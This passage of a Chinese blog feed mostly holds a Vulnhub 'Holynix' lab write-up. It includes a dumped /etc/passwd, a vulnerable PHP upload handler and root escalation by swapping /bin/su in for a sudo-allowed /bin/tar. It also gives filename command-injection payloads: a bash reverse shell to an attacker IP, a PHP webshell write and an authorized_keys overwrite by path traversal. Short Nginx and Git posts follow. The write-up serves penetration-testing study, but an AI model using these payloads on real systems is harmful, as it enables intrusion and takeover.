[06:57:58] 301 -  360B  - /~daemon  -&amp;gt;  http://192.168.200.148/~daemon/
[06:57:58] 301 -  357B  - /~bin  -&amp;gt;  http://192.168.200.148/~bin/
[06:57:58] 301 -  359B  - /~games  -&amp;gt;  http://192.168.200.148/~games/       
[06:57:58] 301 -  358B  - /~mail  -&amp;gt;  http://192.168.200.148/~mail/         
[06:57:58] 301 -  358B  - /~sync  -&amp;gt;  http://192.168.200.148/~sync/ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/etc/passwd&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:114:MySQL Server,,,:/var/lib/mysql:/bin/false
alamo:x:1000:115::/home/alamo:/bin/bash
etenenbaum:x:1001:100::/home/etenenbaum:/bin/bash
gmckinnon:x:1002:100::/home/gmckinnon:/bin/bash
hreiser:x:1003:50::/home/hreiser:/bin/bash
jdraper:x:1004:100::/home/jdraper:/bin/bash
jjames:x:1005:50::/home/jjames:/bin/bash
jljohansen:x:1006:115::/home/jljohansen:/bin/bash
ltorvalds:x:1007:113::/home/ltorvalds:/bin/bash
kpoulsen:x:1008:100::/home/kpoulsen:/bin/bash
mrbutler:x:1009:50::/home/mrbutler:/bin/bash
rtmorris:x:1010:100::/home/rtmorris:/bin/bash

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;upload 文件处理源码：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if ( $auth == 0 ) {
        echo &quot;&amp;lt;center&amp;gt;&amp;lt;h2&amp;gt;Content Restricted&amp;lt;/h2&amp;gt;&amp;lt;/center&amp;gt;&quot;;
} else {
	if ( $upload == 1 )
	{
		$homedir = &quot;/home/&quot;.$logged_in_user. &quot;/&quot;;
		$uploaddir = &quot;upload/&quot;;
		$target = $uploaddir . basename( $_FILES[&apos;uploaded&apos;][&apos;name&apos;]) ;
		$uploaded_type = $_FILES[&apos;uploaded&apos;][&apos;type&apos;];
		$command=0;
		$ok=1;

		if ( $uploaded_type ==&quot;application/gzip&quot; &amp;amp;&amp;amp; $_POST[&apos;autoextract&apos;] == &apos;true&apos; ) {	$command = 1; }

		if ($ok==0)
		{
			echo &quot;Sorry your file was not uploaded&quot;;
			echo &quot;&amp;lt;a href=&apos;?index.php?page=upload.php&apos; &amp;gt;Back to upload page&amp;lt;/a&amp;gt;&quot;;
		} else {
        		if(move_uploaded_file($_FILES[&apos;uploaded&apos;][&apos;tmp_name&apos;], $target))
			{
				echo &quot;&amp;lt;h3&amp;gt;The file &apos;&quot; .$_FILES[&apos;uploaded&apos;][&apos;name&apos;]. &quot;&apos; has been uploaded.&amp;lt;/h3&amp;gt;&amp;lt;br /&amp;gt;&quot;;
				echo &quot;The ownership of the uploaded file(s) have been changed accordingly.&quot;;
				echo &quot;&amp;lt;br /&amp;gt;&amp;lt;a href=&apos;?page=upload.php&apos; &amp;gt;Back to upload page&amp;lt;/a&amp;gt;&quot;;
				if ( $command == 1 )
				{
					exec(&quot;sudo tar xzf &quot; .$target. &quot; -C &quot; .$homedir);
					exec(&quot;rm &quot; .$target);
				} else {
					exec(&quot;sudo mv &quot; .$target. &quot; &quot; .$homedir . $_FILES[&apos;uploaded&apos;][&apos;name&apos;]);
				}
				exec(&quot;/var/apache2/htdocs/update_own&quot;);
        		} else {
				echo &quot;Sorry, there was a problem uploading your file.&amp;lt;br /&amp;gt;&quot;;
				echo &quot;&amp;lt;br /&amp;gt;&amp;lt;a href=&apos;?page=upload.php&apos; &amp;gt;Back to upload page&amp;lt;/a&amp;gt;&quot;;
			}
		}
	} else { echo &quot;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;h3&amp;gt;Home directory uploading disabled for user &quot; .$logged_in_user. &quot;&amp;lt;/h3&amp;gt;&quot;; }
}
?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 权限提升&lt;/h1&gt;
&lt;h3&gt;3.1 提高 Shell 交互性&lt;/h3&gt;
&lt;p&gt;通过 WebShell 反弹回来的终端通常是一个非交互式的残缺 Shell（比如无法使用 Tab 补全、没有命令历史、无法正常使用 Vim 等）。为了方便后续操作，我们需要先将其升级为完全交互式的 TTY Shell。&lt;/p&gt;
&lt;p&gt;列出软件包，老版本默认按照 python2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dpkg -l |grep python
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408102122987.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408102043079.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这行代码做了什么？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这行代码利用 Python 内置的 &lt;code&gt;pty&lt;/code&gt; 模块，在目标机器上模拟了一个真实的终端环境：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;import pty&lt;/code&gt;&lt;/strong&gt;: 加载 Python 的伪终端库。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;pty.spawn(&quot;/bin/bash&quot;)&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;它会创建一个&lt;strong&gt;伪终端主从设备对&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;它启动一个子进程（这里是 &lt;code&gt;/bin/bash&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;它将子进程的标准输入、输出和错误重定向到伪终端上。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3.2 信息收集与寻找立足点&lt;/h2&gt;
&lt;p&gt;获得稳定的 Shell 后，按惯例进行基础的提权信息枚举。&lt;/p&gt;
&lt;p&gt;查看当前用户身份及所属组：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@holynix:/$ whoami
www-data
www-data@holynix:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键突破口：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;sudo -l&lt;/code&gt; 检查当前用户能够以 root 身份执行哪些特权命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@holynix:/$ sudo -l
sudo -l
User www-data may run the following commands on this host:
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /bin/chgrp
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /bin/mv
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;系统配置极其危险，允许 &lt;code&gt;www-data&lt;/code&gt; 用户无需密码即可使用 &lt;code&gt;sudo&lt;/code&gt; 执行修改文件所有者 (&lt;code&gt;chown&lt;/code&gt;/&lt;code&gt;chgrp&lt;/code&gt;)、移动文件 (&lt;code&gt;mv&lt;/code&gt;) 以及打包压缩 (&lt;code&gt;tar&lt;/code&gt;) 的命令。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3.3 避坑指南：为什么修改文件所有者 (Owner) 无法提权？&lt;/h2&gt;
&lt;p&gt;在这里遇到过一个常见的思维误区：&lt;em&gt;既然我可以用 &lt;code&gt;sudo chown&lt;/code&gt;，那我直接把上传的反弹 Shell 脚本所有者改成 root，运行它不就获得 root 权限了吗？为什么弹回来的还是 &lt;code&gt;www-data&lt;/code&gt;？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这是因为混淆了&lt;strong&gt;文件权限&lt;/strong&gt;与&lt;strong&gt;进程执行上下文&lt;/strong&gt;的概念：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;进程的执行上下文 (Execution Context)&lt;/strong&gt; 无论你将上传的文件的所有者（Owner）改成谁（即使是 root），当你是通过网页（Web 服务）去访问或触发这个文件时，执行这个文件的“父进程”是 Web 服务器（例如 Apache 或 Nginx）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Web 服务器程序在系统底层默认是以 &lt;code&gt;www-data&lt;/code&gt; 用户的身份运行的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 Linux 系统中，&lt;strong&gt;子进程会严格继承父进程的权限&lt;/strong&gt;。因此，由 Web 服务器触发的任何脚本或程序，默认都会以 &lt;code&gt;www-data&lt;/code&gt; 的身份去执行，与文件本身的属主无关。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件所有者 (Owner) ≠ 运行权限&lt;/strong&gt; 仅仅把文件的属主改成 root（例如通过命令 &lt;code&gt;sudo chown root shell.php&lt;/code&gt;），并不会让它在执行时自动跃升为 root 权限（除非设置了特殊的 SUID 标志）。这仅仅意味着 root 用户“拥有”这个文件，别人无法轻易修改、覆盖或删除它。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408102541432.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408102554246.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408102637542.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408104122594.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408104137785.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408104153454.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;直接上传和压缩包解压上传的区别&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;怎么改文件权限获得的 WebShell 都是 www-data&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408105332258.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408105341488.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3.4 利用 sudo mv 和 tar 实现提权&lt;/h2&gt;
&lt;p&gt;既然无法通过直接执行文件来提权，我们可以利用 &lt;code&gt;sudo mv&lt;/code&gt;（移动/重命名）和 &lt;code&gt;sudo tar&lt;/code&gt; 来进行“二进制文件劫持”（也称移花接木）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心思路：&lt;/strong&gt; 利用 &lt;code&gt;sudo mv&lt;/code&gt; 将系统中正常的高权限命令（&lt;code&gt;tar&lt;/code&gt;）替换为可以切换用户的命令（&lt;code&gt;su&lt;/code&gt; 或 &lt;code&gt;bash&lt;/code&gt;）。当我们再次执行 &lt;code&gt;sudo tar&lt;/code&gt; 时，实际上执行的是被伪装的提权命令。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;提权实操步骤：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;备份原程序：&lt;/strong&gt; 将原本的 &lt;code&gt;/bin/tar&lt;/code&gt; 移动并重命名为 &lt;code&gt;.bak&lt;/code&gt;，腾出位置。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@holynix:/home/etenenbaum$ sudo mv /bin/tar /bin/tar.bak
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;br /&gt;
2. &lt;strong&gt;移花接木：&lt;/strong&gt; 将系统自带的切换用户命令 &lt;code&gt;/bin/su&lt;/code&gt; 移动到原本 &lt;code&gt;/bin/tar&lt;/code&gt; 的位置。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@holynix:/home/etenenbaum$ sudo mv /bin/su /bin/tar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;
3. &lt;strong&gt;触发提权：&lt;/strong&gt; 此时执行 &lt;code&gt;sudo tar&lt;/code&gt;。系统以为你在一如既往地执行合法的 tar 打包命令，并赋予其 root 权限；但实际上，它运行的是 &lt;code&gt;su&lt;/code&gt;（Switch User）。由于带有 &lt;code&gt;sudo&lt;/code&gt; 的特权加持，&lt;code&gt;su&lt;/code&gt; 会直接免密切换到 root 账户。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@holynix:/home/etenenbaum$ sudo tar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;
4. &lt;strong&gt;验证权限：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@holynix:/home/etenenbaum# whoami
root
root@holynix:/home/etenenbaum# id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，成功获取最高权限，拿下靶机！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260409102435019.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;主机发现之后，我们通过端口扫描，看到只有 80 端口是开放的，我们在进行 Nmap 的其他扫描的同时，我们把浏览器打开，看到了 80 端口的网站，网站很简单，有两个链接指向 home 和 login。&lt;/p&gt;
&lt;p&gt;那我们就通过 login 简单的观察之后，我们发现很可能有 SQL 注入，因为是一个独立开发的一个简单的网站，在我们尝试了几条 SQL 注入的语句之后，我们进到了系统的后台里边，有上传文件，也有文件包含。&lt;/p&gt;
&lt;p&gt;文件包含，我们经过简单的测试，发现它的确是一个漏洞，但是文件上传可以提交文件，但却无法成功上传，然后我们通过文件包含，看到系统里面还有其他目录，在 passwd 的文件里面显示出了若干个可用的用户。&lt;/p&gt;
&lt;p&gt;然后我们顺势把第二个用户的信息拿到，然后我们退出刚才通过 SQL 注入进到的账号，在登录界面，我们构造我们的 SQL 注入语句，用刚刚我们从 /etc/passwd 文件中，提取的用户名去登录，并且成功的登录到系统，这样我们再试上传文件是不是可用的，重新构造了一下我们的 shell 文件。&lt;/p&gt;
&lt;p&gt;通过 upload 成功上传到后台，并且能够在 etenenbaum 这个用户的家目录下，看到我们的反弹 Shell，执行我们的反弹 Shell 之后，在我们的 Kali 上获得了系统的初级权限，然后我们试着提前在 &lt;code&gt;sudo -l&lt;/code&gt; 这个命令下，是有几个命令可以用的，然后我们通过简单的重命名，我们获得了系统的 Shell。&lt;/p&gt;
&lt;h1&gt;5. 其他方法&lt;/h1&gt;
&lt;p&gt;针对这段代码中的【命令注入漏洞】以及潜在的【目录穿越任意文件覆盖漏洞】，在真实的打靶（Vulnhub/HTB）或渗透测试环境中，我们需要通过&lt;strong&gt;操纵 HTTP 数据包&lt;/strong&gt;来构造 Payload，因为普通的操作系统（Windows/Mac）由于文件系统限制，通常不允许你创建带有特殊字符（如 &lt;code&gt;;&lt;/code&gt;、&lt;code&gt;|&lt;/code&gt;、&lt;code&gt;/&lt;/code&gt;）的文件名。&lt;/p&gt;
&lt;p&gt;以下是两种经典的攻击利用思路和具体构造方法：&lt;/p&gt;
&lt;h3&gt;思路一：利用命令截断（获取 WebShell 或反弹 Shell）&lt;/h3&gt;
&lt;p&gt;这是最典型的命令注入打法。程序的 &lt;code&gt;mv&lt;/code&gt; 或 &lt;code&gt;tar&lt;/code&gt; 分支都可以被利用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目标漏洞代码段：&lt;/strong&gt;
&lt;code&gt;exec(&quot;sudo mv &quot; .$target. &quot; &quot; .$homedir . $_FILES[&apos;uploaded&apos;][&apos;name&apos;]);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 构造与抓包：&lt;/strong&gt;
正常上传一个普通文件（例如 &lt;code&gt;test.txt&lt;/code&gt;），并使用 &lt;strong&gt;Burp Suite&lt;/strong&gt; 拦截这个 HTTP POST 请求。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 修改文件名 (Payload 注入)：&lt;/strong&gt;
在请求体中找到 &lt;code&gt;Content-Disposition: form-data; name=&quot;uploaded&quot;; filename=&quot;test.txt&quot;&lt;/code&gt;。
将 &lt;code&gt;filename&lt;/code&gt; 修改为你想要执行的 Linux 命令序列。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;修改为：&lt;/strong&gt; &lt;code&gt;filename=&quot;a; bash -i &amp;gt;&amp;amp; /dev/tcp/你的攻击机IP/4444 0&amp;gt;&amp;amp;1; #&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;(备选写 Webshell 方案)&lt;/em&gt;：&lt;code&gt;filename=&quot;a; echo &apos;&amp;lt;?php system(\$_REQUEST[\&apos;cmd\&apos;]); ?&amp;gt;&apos; &amp;gt; /var/apache2/htdocs/shell.php; #&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. 原理解析：&lt;/strong&gt;
&lt;code&gt;basename()&lt;/code&gt; 不会过滤分号 &lt;code&gt;;&lt;/code&gt;，因此 &lt;code&gt;$target&lt;/code&gt; 会变成 &lt;code&gt;upload/a; bash...&lt;/code&gt;。
最终 PHP 给到系统底层执行的命令会变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 假设 $homedir 为 /home/user/
sudo mv upload/a; bash -i &amp;gt;&amp;amp; /dev/tcp/攻击机IP/4444 0&amp;gt;&amp;amp;1; # /home/user/a; bash...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;系统会将其拆分为三条指令执行：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sudo mv upload/a&lt;/code&gt; （必定执行失败报错，因为上传到临时目录的文件名叫 &lt;code&gt;a; bash...&lt;/code&gt; 而不是 &lt;code&gt;a&lt;/code&gt;，但这不影响接下来的执行）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/攻击机IP/4444 0&amp;gt;&amp;amp;1&lt;/code&gt; （&lt;strong&gt;成功执行你的反弹 Shell 命令&lt;/strong&gt;，由于没有带 sudo，这会以 &lt;code&gt;www-data&lt;/code&gt; web 用户的身份运行）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;# /home/user/...&lt;/code&gt;（井号将后面程序拼接的垃圾路径全部作为注释忽略，防止语法报错中断命令）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260411163149467.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;思路二：神仙打法——利用 sudo 和 $_FILES 目录穿越（直接秒变 Root 👑）&lt;/h3&gt;
&lt;p&gt;如果你仔细观察 &lt;code&gt;mv&lt;/code&gt; 分支的代码，你会发现这是一个非常严重的二次逻辑漏洞：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exec(&quot;sudo mv &quot; .$target. &quot; &quot; .$homedir . $_FILES[&apos;uploaded&apos;][&apos;name&apos;]);&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前半截 &lt;code&gt;$target&lt;/code&gt; 由于之前套了 &lt;code&gt;basename()&lt;/code&gt;，文件被安全地保存在了 &lt;code&gt;upload/&lt;/code&gt; 目录下。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;但是后半截 &lt;code&gt;$homedir . $_FILES[&apos;uploaded&apos;][&apos;name&apos;]&lt;/code&gt; 竟然忘了过滤！&lt;/strong&gt; 直接用了原始的上传名！&lt;/li&gt;
&lt;li&gt;更要命的是，这个移动操作使用了 &lt;strong&gt;&lt;code&gt;sudo mv&lt;/code&gt;&lt;/strong&gt;（Root 权限）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就意味着，&lt;strong&gt;你有能力让系统以 Root 的身份，将你上传的任何文件，移动甚至覆盖到系统的任何地方！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实战构造：SSH 公钥覆盖&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在你的攻击机（Kali）上生成一对 SSH 密钥：
&lt;code&gt;ssh-keygen -t rsa -f mykey&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将生成的公钥 &lt;code&gt;mykey.pub&lt;/code&gt; 重命名为 &lt;code&gt;authorized_keys&lt;/code&gt; 并作为文件上传。&lt;/li&gt;
&lt;li&gt;在 &lt;strong&gt;Burp Suite&lt;/strong&gt; 拦截请求。&lt;/li&gt;
&lt;li&gt;将上传的 &lt;code&gt;filename&lt;/code&gt; 修改为含有大量 &lt;code&gt;../&lt;/code&gt; 的目录穿越路径，目标指向 root 用户的 SSH 存放目录：
&lt;code&gt;filename=&quot;../../../../../../../root/.ssh/authorized_keys&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;放行请求。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;原理解析：&lt;/strong&gt;
系统最终执行的命令是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mv upload/authorized_keys /home/user/../../../../../../../root/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于带有 &lt;code&gt;sudo&lt;/code&gt;，Linux 系统将毫无怨言地执行。你上传的公钥将以最高权限直接覆盖 &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;后续：&lt;/strong&gt;
在 Kali 上直接执行：&lt;code&gt;ssh -i mykey root@靶机IP&lt;/code&gt;
你甚至不需要去提权，直接就以 Root 身份登录了靶机！&lt;/p&gt;
</content:encoded></item><item><title>Komari 与 Nginx 踩坑总结</title><link>https://blog.owenwoow.com/posts/2026/01/02/komari%E4%B8%8Enginx%E8%B8%A9%E5%9D%91%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/01/02/komari%E4%B8%8Enginx%E8%B8%A9%E5%9D%91%E6%80%BB%E7%BB%93/</guid><pubDate>Fri, 02 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;概述&lt;/h3&gt;
&lt;p&gt;刚刚折腾完，分享一下部署探针踩的坑。 我的探针服务采用的是 &lt;strong&gt;Komari&lt;/strong&gt;，反代通过 &lt;strong&gt;NPM (Nginx Proxy Manager)&lt;/strong&gt; 解决，整体使用 Docker Compose 进行管理。&lt;/p&gt;
&lt;h3&gt;1.开启 NPM 强制 SSL 后页面无法访问？&lt;/h3&gt;
&lt;p&gt;申请完证书并开启 Nginx 的“&lt;strong&gt;强制 SSL&lt;/strong&gt;”后，无法通过 HTTPS 正常访问。排查发现原因在于 &lt;strong&gt;Cloudflare 的 SSL 模式默认为“Flexible（灵活）”&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;当用户通过域名访问网页时，请求先到达 Cloudflare，再转发给源服务器。由于 Cloudflare 在“Flexible”模式下默认向源服务器发送 &lt;strong&gt;HTTP&lt;/strong&gt; 请求，而我的 Nginx 配置了强制 &lt;strong&gt;HTTPS&lt;/strong&gt;，导致服务器不断返回 &lt;strong&gt;301 重定向&lt;/strong&gt; 给 Cloudflare，从而引发了“重定向次数过多”的循环报错。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;解决方法：&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;在 Cloudflare 的 SSL/TLS 设置中，将加密模式从默认的 &lt;strong&gt;“灵活 (Flexible)”&lt;/strong&gt; 修改为 &lt;strong&gt;“完全（严格） / Full (Strict)”&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/komari%E5%92%8Cnginx%E8%B8%A9%E5%9D%91%E6%80%BB%E7%BB%93/image-20260102214934524.png&quot; alt=&quot;image-20260102214934524&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.Komari Agent HTTPS 连接后设备显示离线&lt;/h3&gt;
&lt;p&gt;在接入探针时，我&lt;strong&gt;发现&lt;/strong&gt;使用 HTTP 可以成功连接，但换成 HTTPS 后设备一直显示‘离线’。排查后发现，根本原因是 Komari 的实时数据传输依赖 &lt;strong&gt;WebSocket&lt;/strong&gt; 协议，但 Nginx 默认没有开启对 WebSocket 的**协议升级（Upgrade）**支持，导致连接在握手阶段被拦截。”&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;解决方法：&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;在 Nginx Proxy Manager (NPM) 的后台编辑该代理主机 (Proxy Host)，直接勾选 &lt;strong&gt;WebSockets Support&lt;/strong&gt; 选项即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/komari%E5%92%8Cnginx%E8%B8%A9%E5%9D%91%E6%80%BB%E7%BB%93/image-20260102221335166.png&quot; alt=&quot;image-20260102221335166&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Git基础操作</title><link>https://blog.owenwoow.com/posts/2025/12/16/git%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2025/12/16/git%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C/</guid><description>本文根据廖雪峰老师的Git教程，总结后自己撰写的笔记，文章中详细介绍了Git远程仓库部分的操作和Git基础命令的快速查询。</description><pubDate>Tue, 16 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1.Git介绍&lt;/h2&gt;
&lt;h3&gt;1.1.Git是什么&lt;/h3&gt;
&lt;p&gt;Git是目前世界上最先进的分布式版本控制系统（没有之一）。&lt;/p&gt;
&lt;h3&gt;1.2.分布式与集中式&lt;/h3&gt;
&lt;p&gt;SVN是&lt;strong&gt;集中式&lt;/strong&gt;版本控制系统，版本库是集中放在中央服务器的，而干活的时候，用的都是自己的电脑，所以首先要从中央服务器哪里得到最新的版本，然后干活，干完后，需要把自己做完的活推送到中央服务器。集中式版本控制系统是必须联网才能工作，如果在局域网还可以，带宽够大，速度够快，如果在互联网下，如果网速慢的话，就纳闷了。&lt;/p&gt;
&lt;p&gt;Git是&lt;strong&gt;分布式&lt;/strong&gt;版本控制系统，那么它就没有中央服务器的，每个人的电脑就是一个完整的版本库，这样，工作的时候就不需要联网了，因为版本都是在自己的电脑上。既然每个人的电脑都有一个完整的版本库，那多个人如何协作呢？比如说自己在电脑上改了文件A，其他人也在电脑上改了文件A，这时，你们两之间只需把各自的修改推送给对方，就可以互相看到对方的修改了。&lt;/p&gt;
&lt;h2&gt;2.安装Git&lt;/h2&gt;
&lt;h3&gt;2.1.在Linux上安装&lt;/h3&gt;
&lt;p&gt;首先，你可以试着输入&lt;code&gt;git&lt;/code&gt;，看看系统有没有安装Git：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git
The program &apos;git&apos; is currently not installed. You can install it by typing:
sudo apt-get install git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;像上面的命令，有很多Linux会友好地告诉你Git没有安装，还会告诉你如何安装Git。&lt;/p&gt;
&lt;p&gt;如果你碰巧用Debian或Ubuntu Linux，通过一条&lt;code&gt;sudo apt install git&lt;/code&gt;就可以直接完成Git的安装，非常简单。&lt;/p&gt;
&lt;p&gt;如果是其他Linux版本，请参考发行版说明，例如，RedHat Linux可以通过命令&lt;code&gt;sudo yum install git&lt;/code&gt;安装。没有包管理器的发行版可以自行&lt;a href=&quot;https://github.com/git/git&quot;&gt;下载源码&lt;/a&gt;编译安装，仅适合老鸟。&lt;/p&gt;
&lt;h3&gt;2.2.在Windows上安装&lt;/h3&gt;
